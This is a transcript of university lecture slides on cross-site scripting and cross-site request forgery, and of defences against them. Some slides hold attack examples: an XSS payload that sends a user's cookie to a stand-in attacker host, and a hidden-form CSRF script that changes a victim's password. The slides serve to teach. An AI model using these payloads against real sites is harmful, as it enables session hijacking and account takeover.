Top Banner
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz
25

CMSC 414 Computer and Network Security Lecture 24

Jan 19, 2016

Download

Documents

Joyce Lagunday

CMSC 414 Computer and Network Security Lecture 24. Jonathan Katz. Administrivia. Zeller-Felten paper on webpage HW4 Final exam reminder + study guide Course evaluations www.CourseEvalUM.umd.edu. Cross-site scripting (XSS). - PowerPoint PPT Presentation
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: CMSC 414 Computer and Network Security Lecture 24

CMSC 414Computer and Network Security

Lecture 24

Jonathan Katz

Page 2: CMSC 414 Computer and Network Security Lecture 24

Administrivia

Zeller-Felten paper on webpage

HW4

Final exam reminder + study guide

Course evaluations– www.CourseEvalUM.umd.edu

Page 3: CMSC 414 Computer and Network Security Lecture 24

Cross-site scripting (XSS)

Can occur whenever an attacker can influence a script executed at a legitimate host, e.g.:– Dynamically generated pages (search, errors, other)

• E.g., http://good.com/error.php?msg=an+error+occured

• What happens if the attacker sendshttp://good.com/error.php?msg=<script>...</script>

Page 4: CMSC 414 Computer and Network Security Lecture 24

Exploits using XSS

user

logs

in

malicious URL

user

click

s…

mali

cious

code

run

credential sent to attacker

hijack session

http://good.com/error?msg=<script>var+i=new+Image;

+i.src=“http://attack.com”%2bdocument.cookie;</script>

<script>var i=new Image; i.src=“http://attack.com”

+document.cookie;</script>

Page 5: CMSC 414 Computer and Network Security Lecture 24

Key points…

Same-origin policy is respected– The attacker’s script was running in the context of

good.com(!), so it was able to access the cookie

Phishing likely to succeed– Users only notice that the link is to http://good.com

Using https does nothing to prevent this attack…

Page 6: CMSC 414 Computer and Network Security Lecture 24

Stored XSS vulnerabilities

Occurs when data submitted by a user is stored at the server, and later displayed to other users– Comment on blog post

– Wiki

– Web-based email

– Social networking sites• MySpace Samy worm

Page 7: CMSC 414 Computer and Network Security Lecture 24

Exploits using XSS

user

logs

in

mali

cious

code

run

credential sent to attacker

post malicious code

Page 8: CMSC 414 Computer and Network Security Lecture 24

Notes…

No need for phishing any more!

Guaranteed that user is logged in when they run the malicious script– (In previous case, user may not be logged in when they

click the attacker-generated URL)

Page 9: CMSC 414 Computer and Network Security Lecture 24

Payloads for XSS attacks Hijack session credentials

Site defacement– E.g., http://good.com/error.php?

msg=We+are+going+out+of+business

Injecting trojan functionality– To obtain, e.g., credit card info

Perform actions on behalf of authenticated users– In an automated fashion!– Without leaving trace of IP address!

More…

Page 10: CMSC 414 Computer and Network Security Lecture 24

Cross-domain interactions

Recall…– <script src=http://good.com/foo></script> in bad page would

cause legitimate script to run in context of bad page!

– Instead, malicious page can initiate a POST request to legitimate page, with arbitrary parameters

– Due to the way web authentication is handled (i.e., using a cached credential), http requests will look as if they come from the legitimate user if they are logged in when they view the malicious page

Page 11: CMSC 414 Computer and Network Security Lecture 24

Cross-site request forgery (CSRF)

1. Alice’s browser loads page from bad.com

2. Script runs causing evilform to be submitted with a password-change request by loading www.good.com/update_pwd with attacker-specified field

3. Browser sends authentication cookies to good server. Honest user’s password is changed to badpwd!

<form method="POST" name="evilform" target="hiddenframe" action="https://www.good.com/update_pwd"> <input type="hidden" id="password" value=“badpwd"></form><iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script>

evilform

Page 12: CMSC 414 Computer and Network Security Lecture 24

Notes

Due to same-origin policy, bad.com does not have access to any data associated with good.com

When bad.com page loaded, it executes script which sends a POST request to good.com with attacker-specified parameters– Browser sends all cookies for good.com along with this

request!

Malicious page cannot read user’s data, but can write to user’s account

Page 13: CMSC 414 Computer and Network Security Lecture 24

Notes

CSRF for GET requests is even easier (simply use an <img> tag with a crafted URL)

Page 14: CMSC 414 Computer and Network Security Lecture 24

Notes

Can be viewed as failure of principle of complete mediation– User should be required to re-authenticate before

changing their password

Also (potentially) principle of least privilege– User should log out of a website if not actively using it

Page 15: CMSC 414 Computer and Network Security Lecture 24

Potential CSRF vulnerabilities

Anywhere a client can change server-side state– Facebook profiles

– Financial sites

– Calendars, etc.

Page 16: CMSC 414 Computer and Network Security Lecture 24

Notes XSS attacks exploit the trust a client browser has

in data sent from the legitimate website– But attacker controls what the website sends to the

client browser

CSRF attacks exploit the trust the legitimate website has in data sent from the client browser– But attacker controls what the client browser sends to

the website

XSS vulnerabilities are “more general”– Simply inject a script that, when viewed, submits a

form on behalf of the user with parameters chosen by the attacker…

Page 17: CMSC 414 Computer and Network Security Lecture 24

Defenses

Page 18: CMSC 414 Computer and Network Security Lecture 24

Preventing XSS

Escaping/encoding input

Validation/sanitization– Suppress/escape <, >, “, etc, … at time they are input

by a user

Can apply these techniques at the time data is read, or at the time the resulting page is displayed to the client

Page 19: CMSC 414 Computer and Network Security Lecture 24

Preventing XSS

Drawbacks– Sometimes these characters may be legitimate

– Unclear when all malicious text is filtered out

Very difficult (impossible?) to get sanitization right

Several sanitizers exist…– …and several exploits of them are known

Better to err on the conservative side

Page 20: CMSC 414 Computer and Network Security Lecture 24

Preventing XSS

Some work done on preventing XSS attacks at the browser level – Browser plug-ins (e.g., NoScript)

– Browser itself (e.g., Google chrome)

Mitigate XSS attacks for session hijacking– “HTTP-only” cookies sent only to the issuing server

– Bind cookies to user’s IP address

Page 21: CMSC 414 Computer and Network Security Lecture 24

Preventing CSRF attacks

Inspect referrer headers – HTTP protocol specifies a header indicating the URL

of the document from which current request originated

So good.com can try to prevent CSRF attacks by ignoring POST requests if the referrer is not good.com

However…– Referrer fields can be absent for legitimate reasons

(e.g., new window; stripped by proxies)

Page 22: CMSC 414 Computer and Network Security Lecture 24

Complete mediation

Prevent CSRF attacks by requiring user re-authentication

Not practical to do this all the time– User will be come frustrated!

Can require for ‘high-value’ transactions

Page 23: CMSC 414 Computer and Network Security Lecture 24

Client-side protection

(Assumes servers do not use GET requests for modifying data)

Browser plug-in that filters out POST requests unless requesting site and target site satisfy same-origin policy– Might still filter out some legitimate requests

Page 24: CMSC 414 Computer and Network Security Lecture 24

Server-side protection Prevent CSRF attacks by allowing the legitimate

server to distinguish links in ‘fresh’ pages it serves, from links embedded in attacker pages

Add authenticated “action token” as hidden field in pages served; check token upon POST request– Same-origin policy prevents 3rd parties from reading the

token

Simple idea: embed (nonce, MACk(nonce)) in page– Why doesn’t this work?

Page 25: CMSC 414 Computer and Network Security Lecture 24

“Action tokens”

Need a way to bind token to session– At beginning of session, send cookie with random

session-id to user

– Compute MAC over the URL and the cookie (note that cookie will be sent in any subsequent requests)

This is potentially vulnerable to XSS attacks– Attacker injects script that steals user’s cookie and

token